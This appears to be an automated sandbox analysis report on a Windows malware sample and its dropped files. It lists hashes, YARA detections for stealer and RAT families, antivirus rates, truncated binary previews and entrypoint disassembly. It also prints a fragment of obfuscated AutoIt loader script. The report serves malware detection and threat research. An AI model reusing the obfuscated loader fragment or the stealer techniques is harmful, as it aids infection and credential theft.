SHA-256:	ECEEF58E2264D5624F0E961FC693DC07F5759B8C05E5C049DC56830EF2664000
SHA-512:	1D80FD78FD324CE95204557A097E0CEE348D76E4DE4C08CFD5B550AE4F0FEE1B3FEC42167BA9502574748E89518A74F1F4A20A59167334DA9F2FBD575444A9FC
Malicious:	false
Preview:	$LogitechDeletedVersions = 61..$ScholarshipBs = 92..For $bMNte = 20 To 673..If $LogitechDeletedVersions = 59 Then..FileExists(MANORMATCH("93}115}39}81}106}107}39",42/7))..ACos(410)..$LogitechDeletedVersions = $LogitechDeletedVersions + 1..EndIf..If $LogitechDeletedVersions = 60 Then..Sqrt(7417)..FileExists(MANORMATCH("110}99}100}113}116}99}118}113}116}107}103}117}49}99}117}117}119}111}114}118}107}113}112}117}49",6/3))..$LogitechDeletedVersions = $LogitechDeletedVersions + 1..EndIf..If $LogitechDeletedVersions = 61 Then..Opt(MANORMATCH("86}116}99}123}75}101}113}112}74}107}102}103",4/2), 1)..ExitLoop..EndIf..If $LogitechDeletedVersions = 62 Then..Sqrt(2639)..Sqrt(8713)..$LogitechDeletedVersions = $LogitechDeletedVersions + 1..EndIf..Next..Func DiCarefully($machineryauditordog, $distinctionpartnereverywheregloves, $hungariansatelliteholytrials, $MercedesChannels, $EXEMPTOUTPUTS, $HomelessHosting, $DashAlways, $TravelersPar, $ErSimFist)..$PorscheWeekendsImpaired = '90946534876'..$originass

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Protection

Download File

Process:	C:\Users\user\AppData\Local\Temp\3BD2.exe
File Type:	data
Category:	dropped
Size (bytes):	188416
Entropy (8bit):	5.84355603429221
Encrypted:	false
SSDEEP:	3072:ksUMKCrMuoS7FIMQIPcNwTFVAu/BtqxDoY4B+VaAtJPJ:kHMKVu7FlNcwTFWusohudzh
MD5:	E08866278F3A97AEF93BA2A839C11F04
SHA1:	A014F0417591DA266A95F7590C9019B3CF6AE3BC
SHA-256:	21685A7876FE2CA8C890F0819A3D4E561A53A6F2C6A3212E134A87C2E1E4D39B
SHA-512:	679B15D6DB25A5CE4F9A11474136BE23876776E8B4FE4C9384CC51BEA15C6D715A15DF5AFC1283A08A19083AFD2A4A99CE6347D2ECE95EB1702354A57D3BC4CD
Malicious:	false
Preview:	..u.H.U.I...................L.5J...I......H;.u[H..H..t.I..I+.A....E...fA;.u5I...H...u...u.H.EHH.@.H.X H...LM..H.S.I...l.................L.5....I...K...H;.uZH..H..t.I..I+.A....E...fA;.u4I...H...u...u-I.......H..@....[....F......>..............L.5....I....-..H;.u:H..H..t.I..I+.A....E...fA;.u.I...H...u...u....L.........L.5o...I...-..H;.uEH..H..t.I..I+.A....E...fA;.u.I...H...u...u.3.I....... ............L.5&...I...6-..H;.uGH..H..t.I..I+.A....E...fA;.u!I...H...u...u.H.U.I...4....+............L.5...I....,..H;.uOH..H..t.I..I+.A....E...fA;.u)I...H...u...u"I..E3.E3........U...H...b.........L.5....I...x,..H;.udH..H..t.I..I+.A....E...fA;.u>I...H...u...u7I..E3.I...............X.H...~....F.....................L.5P...I....,..H;.u[H..H..t.I..I+.A....E...fA;.u5I...H...u...u.H.UPI......H........EP...F......{............L.5....I...+..H;.udH..H..t.I..I+.A....E...fA;.u>I...H...u...u7H.EHH.@.H.X H...#J..L.K......I..A.....M................L.5....I....+..H;.unH..H..t.I..I+.A....E

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Spain

Download File

Process:	C:\Users\user\AppData\Local\Temp\3BD2.exe
File Type:	ASCII text, with very long lines (3964), with CRLF line terminators
Category:	dropped
Size (bytes):	379288
Entropy (8bit):	5.398493617073305
Encrypted:	false
SSDEEP:	3072:cwjFrICYZNBkS6vHVD1kD6FlcSmLa/bJcfh1wVSpPD/a6DJHchn96M3an:Zj2CYZNuS6vHd1kD6Fhm5c/s
MD5:	BF8235618CB869E00161CB6318689E46
SHA1:	4B0E0EE156DFD1F1686D37772D24CE67393E58AC
SHA-256:	55F26CC8C2D64A7174B1FDE106EB1B65CEBBF7F32C6585C0737F6FAFEF6D4B3F
SHA-512:	6AF2346CCB99A11BF2031362BF442044275BC38EE441E946D21D22118B5D7D39406A31E5CFB7051C4F6C3C4AC87FC13B70116E697A74D8B25E2B5218A0832BEF
Malicious:	false
Preview:	2596B77D64FC3EFF3A117F3E439845D6374BA3E44ABDE8677E9ECF19FF0F9E24D68EF6D565CD52C464B5E46F113C6671571A9EA240D85B82B3942086B9588B617B61747F755CBF3F83694DB182068E2CB29A85B4236F6643A66428E8B133523FA47A411F9455B465C8C375AC823AC22487D9DE9DE9AD0D10C8E19A7D06A779D535402BBD7FC0E37F2EB6BC5C31FB13CC92F3B64B97AF79EEB67C25819D8CA8F4AEED6121BFB028E0ACD4D6F3E2852E67BCF580B0DD00DFC3708C6D57A927BCBD667E7705347B9206CBC2798A9D750A2E232949E89F9C239232E8050751904D914200A40840D2D9714A5B52E83479D91E4B0D9E8BA583EF527CB07610900836B137EE7C66CF5DCE14A147D9D0B743646264B6DB915639C1393387BD80080A8F1216309CD4392B481BF256346A3FB6D7BE0AA1F0C380FB109D01EBAFC13DD32CB9A8803F8503E6679B4C490EC1F217CC4CCB166C74A9CD03628862FA9750F959F1EB38891D247BC56D71213C55DB255D6B57960F535DE32F335028DF8DBB525049FBA0293CEF46B2C06712412909BA4BEEC443F72B9D7B14924BB95E0BA682764F37E319376BF754942EB50AE8C61BF36247389EAAA717101F871D8971050EB5C8BFA78907EBA19C00E96E82B6FFE34A41281EC95B655BD50AC443C50FCEC442611FA0E73E904F68DDCC8C4D09CB775D26B7D6C716

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Viewers

Download File

Process:	C:\Users\user\AppData\Local\Temp\3BD2.exe
File Type:	data
Category:	dropped
Size (bytes):	143360
Entropy (8bit):	6.57479998988545
Encrypted:	false
SSDEEP:	3072:iwPdxuSeoZpUtRbc3C7YTWY7aCAUMXrIJYZIJBwB4Ig:iwPuUGHc3AM7G/XruYZgwB4Ig
MD5:	F32CF54E9A67C7A652B0A63EBAC897FE
SHA1:	94662546B1E0B95E5FE190B268CD8370B534616B
SHA-256:	5B4766A612825C1640CD4BFE5E32A32EC0AA88DCC050FBE3CB821EF6F81563A7
SHA-512:	34AF7D1E95C95E6624EA3B2EE39C9371E4FA41DAEB76D4BA4E5F7F431033D0E93851AAB509856C798208F5568ACD23E58CF14AEFBB1F7891185A386A8779A8FE
Malicious:	false
Preview:	u..-...............4.......c.........................H.\$`H.. A_A^A\_^...H.\$.H.\|$.L.t$.Lc.H.=....M..A.....I...A..?I...N...C..L.8G.\.9.........@..tL......t:...........t.A;.uD..C.L.8J...B.D.9..0..C.L.8J...B.D.9......C.L.8....C.L.8J...B.D.9...u........E..u...@....A........A.D.H.\$.H.\|$.L.t$...H..(H..u......................A.H..(...H.\$.L.L$ WH.. I..I..H...s....H.......H..H...k...H..H.\$0H.. _..H.\$.H.t$.WH.. H..H..H.0H.......L..@..L.C.H.S.H.K.M..M..H..H...!...H..@..H.....H.t$8H..H.\$0H.. _.H.\$.H.l$.H.t$.WATAUAVAWH.. I..M..L..L..H..t.M..t.M..u/...............3.H.\$PH.l$XH.t$`H.. A_A^A]A\_.H..t.3.H...I..L;.w.A.A......t.E.a ..A.....I..I...H..H..............F...t7HcF...t/......H..H;.H..I..H.B.L...3..)^.H+.H..L......A..H;.rw.F...t.H...#.....uT.....H..E..t.3.H..H..H+.H;...H...B........D..I...~........;.t...;..G.H+.L..;.s;..N..H+.3.H..I.......A...H...#......t.I..H..~ .A.....D.Of H.......I.......H..L.H L.@.H.P.H.H.UH..H..`H..t.M..t.M..u..q..........F...3.H..`].H.E(L.M.H.E.L.E.H.

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Zoo

Download File

Process:	C:\Users\user\AppData\Local\Temp\3BD2.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	204800
Entropy (8bit):	6.40655123154893
Encrypted:	false
SSDEEP:	3072:vsVEU0SgcAApfFSvfWLhOa2rdf1wFX8ZpU80KS/n0zmPuBiGZNxzi+:mHggFOrrdNWsZK8X0n0SPuBiw3zB
MD5:	7DA539ACBD1604BB8C0AE5F6EB990BB8
SHA1:	1271FA42479299D5F337E03ABC82AF7125AA423F
SHA-256:	0D36E743B8A12A30F0AEC344FFDC0400E080AF2D1A8C322930A73147703A8902
SHA-512:	1BB62339D6A74128CFEFEC47FD0F360BED6DEA5CCF51D9D77CF84E3E8A920790141CCCDDBB6810A3F9B627AF7BBB0ED9A32F6EF2E92194085FEAF384B763AAD5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........1.q.P.".P.".P."y..".P."y.."QP."y..".P."S.1".P.".8.#.P.".8.#.P.".8.#.P.".(u".P.".(q".P.".(e".P.".P.".R."^9.#.P."^9.#.P."^9.".P.".Pa".P."^9.#.P."Rich.P."........PE..d......`.........."......F...*.......Y.........@....................................v.....`...@...............@.............................Pl..\|.......h....P..xo...2..`&......\|...@...........................(...`................`..8............................text...dD.......F.................. ..`.rdata..DB...`...D...J..............@..@.data...P........P..................@....pdata..xo...P...p..................@..@.rsrc...h............N..............@..@.reloc..\|............&..............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9D1E.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	5284488
Entropy (8bit):	7.089727300904268
Encrypted:	false
SSDEEP:	49152:tR38zO5fluqDqt2Y9lvIQfCfZzW8/xAnknAT0QlfaFaftsuVFZLfYo2EerXz:tsw09h2fAnBvCAFdfYo2XXz
MD5:	2AA4B3C398F32A8D4403B21769ED1FC1
SHA1:	AB613095B2FB6717FA5C96D0A99F74D4E6203D03
SHA-256:	38610BB5D553F59193B5649A049E08A5409B6EF91957E0ABD454F85CCDC4CF7E
SHA-512:	788D567D99737D66A28EB06590CF76352A30AFE7A12805FA91F3ACB8F84B7EDFA7559EBE21941C3FE9E8294753D8C4B2A8BBE29A786DFD520A66C8E289613830
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\AppData\Local\Temp\9D1E.exe, Author: Joe Security Rule: INDICATOR_EXE_Packed_DotNetReactor, Description: Detects executables packed with unregistered version of .NET Reactor, Source: C:\Users\user\AppData\Local\Temp\9D1E.exe, Author: ditekSHen
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 27%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................P...M..J......~.M.. ....N...@.. ........................P.......P...@.................................0.M.K.....N..F...........TP.pN...`P.......M.............................................. ............... ..H............text.....M.. ....M................. ..`.rsrc....F....N..H....M.............@..@.reloc.......`P.......P.............@..B................`.M.....H...........p............I).Z.$..........................................0..9.......(....8.....(.... .....:....&8....8........E........8.........(g...&~..........~......0..@.......(g...8......(.... .....9....& ....8....8........E........8.....&~..........~......0.......... ........8........E........U.......&...5...d...8....s......... .....9....& ....8....(.... ....8....s......... .....:....& ....8....s.........8 ...s......... .....:j...& ....8_...s......... ....8K....

C:\Users\user\AppData\Local\Temp\E35F.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1671680
Entropy (8bit):	5.897843523254229
Encrypted:	false
SSDEEP:	12288:teOvy9EFs6ned5sWKoBNI28L2OEB2iNhr/Y1+aeS62cJn1BtZWSnelf+qCxBEmYd:teOvy9fp1rrS68BfqoQhVG4+P5
MD5:	EAFEB784379E60C2D0BD8D46EAC05286
SHA1:	BDC3AD72052D2104F634DE81487514938F20293C
SHA-256:	77FB82033F9F2C89A74320C0705AF1FA6AB58236AA2DE2B9FFFF2CF5FFC98B2D
SHA-512:	64AF9C3A6F7A69BD3BEF8698E88C810133D86C17127872F6F714FF4DE12533B3952C1797A7D783A1370FF4F365732FE30C56B4B113DC2679A3146A4D2E2FFCFC
Malicious:	true
Yara Hits:	Rule: JoeSecurity_EternityStealer, Description: Yara detected Eternity Stealer, Source: C:\Users\user\AppData\Local\Temp\E35F.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\E35F.exe, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID, Description: Detects executables referencing Windows vault credential objects. Observed in infostealers, Source: C:\Users\user\AppData\Local\Temp\E35F.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...bc................0..x............... ........@.. ....................................@.................................P...K.................................................................................... ............... ..H............text....w... ...x.................. ..`.rsrc................z..............@....reloc..............................@..B........................H............?......1....2...N...........................................(....(....:+.(X.\.(.............{.............{.........................}......}.................................8........E........U...6.......$...{.......8....8.... ....~~...9....& ....8.......;.... ....8....8{... ....~....:....& ....8....(.....{......{....o....:-... ....8d....u...... ....8R.....:.... ....8A...(.....{......{....o..............................{....o....X )UU.Z(.....{....o..

C:\Users\user\AppData\Local\Temp\FD8E.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	6775808
Entropy (8bit):	7.987388970208731
Encrypted:	false
SSDEEP:	196608:mpootpJcchlDhwyEjRA5n//JeVSR9xb1ROPQ0nnyJric:NotEcjDhwJRWnXoS/Bh0nkic
MD5:	9DC46160B805B73634F4BD8507F11494
SHA1:	BD5104406E8C29537B77C428C8707A40A6E118EF
SHA-256:	94DF05071CAD9595820A5132137D060B0D2D3CD122E5CAD35A014D80A6BDE02A
SHA-512:	9F6DEFBC6029E125F42568640BD9E5B52CE5985B96532D020169542E6B9498A9F5900D868D17E3B1D903682975070DDFA844FA383DAFB8A9B023AC1B331213A3
Malicious:	true
Yara Hits:	Rule: MALWARE_Win_DLInjector04, Description: Detects downloader / injector, Source: C:\Users\user\AppData\Local\Temp\FD8E.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......e.................Zg.........>xg.. ....g...@.. ........................g...........@..................................wg.K.....g.H.....................g...................................................... ............... ..H............text...DXg.. ...Zg................. ..`.rsrc...H.....g......\g.............@..@.reloc........g......bg.............@..B................ xg.....H.......,bg..............'...:g..........................................0.._.......~....,.(....,..(....~....,.(....,..(....~....,.(....,..(....~....,.(....,..(....~....,.~.... ....Z(....~....,.r...pr...p.(....&..8....~.....o.....~.....o.....~.....o.....~.....o.......(......~....,...(......~....r...p(....,.(....r...po......(......+)~....r1..p(....,...(....r...po....(..........(....(..........(.......(......X..~....o....?....~....&*..0../........s.....s.......s.......o.......,

C:\Users\user\AppData\Local\Temp\InstallSetup9.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\FD8E.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	2467259
Entropy (8bit):	7.923798296730071
Encrypted:	false
SSDEEP:	49152:v12s5FXQ4EmojLjCRELVf7Avil+dHIsLp1thIikN+6u2hsX:vjzX71oDCRAZUviAHImDqia7hsX
MD5:	5FF80C42809C1A7DA41A5E8712FCBBAF
SHA1:	A73380553B714A05E855CEB60F366FFDB328519D
SHA-256:	69A94B658BCE41D361945A1594FDC801209D8719AE67DF8D2D3DF5056E9B0537
SHA-512:	A7A99D638487B65C028245403040B18B848D8A955A33E1FBCE653FF3A87351A3E3812622ADD5CA6E2C1F2DDC7894E47E20895CBFAF70E577E44CED7F8CCABC8B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 91%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1 ..PN..PN..PN._...PN..PO.JPN._...PN.s~..PN..VH..PN.Rich.PN.........................PE..L...l.d.................j..........25............@.......................................@..........................................P...#...........................................................................................................text....h.......j.................. ..`.rdata..d............n..............@..@.data...............................@....ndata.......P...........................rsrc....#...P...$..................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\9D1E.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	760320
Entropy (8bit):	6.561572491684602
Encrypted:	false
SSDEEP:	12288:wCMz4nuvURpZ4jR1b2Ag+dQMWCD8iN2+OeO+OeNhBBhhBBgoo+A1AW8JwkaCZ+36:wCs4uvW4jfb2K90oo+C8JwUZc0
MD5:	544CD51A596619B78E9B54B70088307D
SHA1:	4769DDD2DBC1DC44B758964ED0BD231B85880B65
SHA-256:	DFCE2D4D06DE6452998B3C5B2DC33EAA6DB2BD37810D04E3D02DC931887CFDDD
SHA-512:	F56D8B81022BB132D40AA78596DA39B5C212D13B84B5C7D2C576BBF403924F1D22E750DE3B09D1BE30AEA359F1B72C5043B19685FC9BF06D8040BFEE16B17719
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......v...2...2...2...]...6....f..0...)=..,...)=....;...;...2.~.C...)=..i...)=......)=..3...)=..3...Rich2...........PE..L....#da...........!.....(...n...............@......................................(.....@.............................C.......x................................n...B..................................@............@...............................text....&.......(.................. ..`.rdata......@.......,..............@..@.data...`...........................@....rsrc...............................@..@.reloc..R...........................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-9S7V0.tmp\1600.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1600.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	704512
Entropy (8bit):	6.496956945559699
Encrypted:	false
SSDEEP:	12288:ERObekMSkfohrPUs37uzHnA6zg5cIsalHERjUrNN/RQ9wgUT5EDExyc:2ObekrkfohrP337uzHnA6cHswHE/6gU3
MD5:	A7662827ECAEB4FC68334F6B8791B917
SHA1:	F93151DD228D680AA2910280E51F0A84D0CAD105
SHA-256:	05F159722D6905719D2D6F340981A293F40AB8A0D2D4A282C948066809D4AF6D
SHA-512:	E9880B3F3EC9201E59114850E9C570D0AD6D3B0E04C60929A03CF983C62C505FCB6BB9DC3ADEEE88C78D43BD484159626B4A2F000A34B8883164C263F21E6F4A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................f...........q............@..............................................@...............................%..................................................................................................................CODE....(d.......f.................. ..`DATA.................j..............@...BSS..................\|...................idata...%.......&...\|..............@....tls.....................................rdata..............................@..P.reloc.............................@..P.rsrc...............................@..P.....................J..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-K8FH3.tmp\1600.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1600.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	704512
Entropy (8bit):	6.496956945559699
Encrypted:	false
SSDEEP:	12288:ERObekMSkfohrPUs37uzHnA6zg5cIsalHERjUrNN/RQ9wgUT5EDExyc:2ObekrkfohrP337uzHnA6cHswHE/6gU3
MD5:	A7662827ECAEB4FC68334F6B8791B917
SHA1:	F93151DD228D680AA2910280E51F0A84D0CAD105
SHA-256:	05F159722D6905719D2D6F340981A293F40AB8A0D2D4A282C948066809D4AF6D
SHA-512:	E9880B3F3EC9201E59114850E9C570D0AD6D3B0E04C60929A03CF983C62C505FCB6BB9DC3ADEEE88C78D43BD484159626B4A2F000A34B8883164C263F21E6F4A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................f...........q............@..............................................@...............................%..................................................................................................................CODE....(d.......f.................. ..`DATA.................j..............@...BSS..................\|...................idata...%.......&...\|..............@....tls.....................................rdata..............................@..P.reloc.............................@..P.rsrc...............................@..P.....................J..............@..P........................................................................................................................................

C:\Users\user\AppData\Roaming\ufhjbuw

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	308224
Entropy (8bit):	6.443268319950933
Encrypted:	false
SSDEEP:	3072:p8lLyOIPrkS7rJikDHwpd/v20EghCl3nXqod2AkaR/Q9oAfTK7KVDrc+B5f239+A:p8lL2DkSidH2T2wXUUsfTgYn79o6q
MD5:	1B92D73AC6CA807ADC303C424EEEB80B
SHA1:	836E751F86AB603920A22F1778FFC56D3D52A9AC
SHA-256:	D7567C94D64FC05B847558D0308B54DF1A716FCBE45A480ADE6F2987A5EBBAEF
SHA-512:	0723CDABF20B65157093CEA017CF37A23D1986EE1B071872FD1318B91EE0E5DF0ADB3B09D2F47A5A9AD4E9E5FD05A8ED13679B485053E4FC323A9312C9FB2C63
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 46%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......(8e.lY..lY..lY..r...}Y..r...>Y..r...HY..K.p.kY..lY...Y..r...mY..r...mY..r...mY..RichlY..........PE..L...@0Hc.................b...z......#"............@.......................... ..................................................P........}..................................................H........................................................text....`.......b.................. ..`.rdata...@.......B...f..............@..@.data...\|...........................@....tls.........p......................@....dag.................0..............@....muce...A............2..............@....rsrc....}.......~...6..............@..@........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\ufhjbuw:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\wehjbuw

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	308736
Entropy (8bit):	6.446359605030636
Encrypted:	false
SSDEEP:	6144:u8lLhDkSuupj2pETuETIm61NfTgYn79o6q:u+WSuup0EzbCn7a
MD5:	0E219D95AC454729366F376B54D9CFB4
SHA1:	18D0669758DF7344248BDE48827EAA0AB6B0420D
SHA-256:	BA134E62CF135A967C9C08BC04D3568B3A11A8933D299ADA80506855B6680D5C
SHA-512:	77DA1BA45B636C8617B68E5B20B9E3F87A407CECEFFD395AA989DF8B2FF67BDE07F41FEEF61967F4C9B324A8E31D12A702E6968028B627500744ECBC35193EDD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 41%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......(8e.lY..lY..lY..r...}Y..r...>Y..r...HY..K.p.kY..lY...Y..r...mY..r...mY..r...mY..RichlY..........PE..L....6.d.................d...z......#"............@.......................... .......`..........................................P........}..................................................H........................................................text....b.......d.................. ..`.rdata...@.......B...h..............@..@.data...\|...........................@....tls.........p.......0..............@....fidox...............2..............@....zope...A............4..............@....rsrc....}.......~...8..............@..@........................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.443268319950933
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	987123.exe
File size:	308'224 bytes
MD5:	1b92d73ac6ca807adc303c424eeeb80b
SHA1:	836e751f86ab603920a22f1778ffc56d3d52a9ac
SHA256:	d7567c94d64fc05b847558d0308b54df1a716fcbe45a480ade6f2987a5ebbaef
SHA512:	0723cdabf20b65157093cea017cf37a23d1986ee1b071872fd1318b91ee0e5df0adb3b09d2f47a5a9ad4e9e5fd05a8ed13679b485053e4fc323a9312c9fb2c63
SSDEEP:	3072:p8lLyOIPrkS7rJikDHwpd/v20EghCl3nXqod2AkaR/Q9oAfTK7KVDrc+B5f239+A:p8lL2DkSidH2T2wXUUsfTgYn79o6q
TLSH:	3B648D1135E5C133E2B31BB8887487B01B3F78627975455E2A8B1B6D1F2B7D18A313AB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......(8e.lY..lY..lY..r...}Y..r...>Y..r...HY..K.p.kY..lY...Y..r...mY..r...mY..r...mY..RichlY..........PE..L...@0Hc.................b.

File Icon


Icon Hash:	0b3164646d311f46

Static PE Info

General

Entrypoint:	0x402223
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x63483040 [Thu Oct 13 15:35:28 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	de13e22fc261029836773306583464cf

Entrypoint Preview

Instruction
call 00007F31D5344A40h
jmp 00007F31D53405AEh
int3
int3
int3
mov ecx, dword ptr [esp+04h]
test ecx, 00000003h
je 00007F31D5340756h
mov al, byte ptr [ecx]
add ecx, 01h
test al, al
je 00007F31D5340780h
test ecx, 00000003h
jne 00007F31D5340721h
add eax, 00000000h
lea esp, dword ptr [esp+00000000h]
lea esp, dword ptr [esp+00000000h]
mov eax, dword ptr [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, FFFFFFFFh
xor eax, edx
add ecx, 04h
test eax, 81010100h
je 00007F31D534071Ah
mov eax, dword ptr [ecx-04h]
test al, al
je 00007F31D5340764h
test ah, ah
je 00007F31D5340756h
test eax, 00FF0000h
je 00007F31D5340745h
test eax, FF000000h
je 00007F31D5340734h
jmp 00007F31D53406FFh
lea eax, dword ptr [ecx-01h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-02h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-03h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-04h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword ptr [ebp+08h]
push esi
push edi
push 00000008h
pop ecx
mov esi, 004282A8h
lea edi, dword ptr [ebp-20h]
rep movsd
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
mov dword ptr [ebp-04h], eax
pop esi
test eax, eax
je 00007F31D534073Eh
test byte ptr [eax], 00000008h
je 00007F31D5340739h
mov dword ptr [ebp+00h], 00000000h

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[C++] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2b6fc	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3a000	0x17db8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x2aa48	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
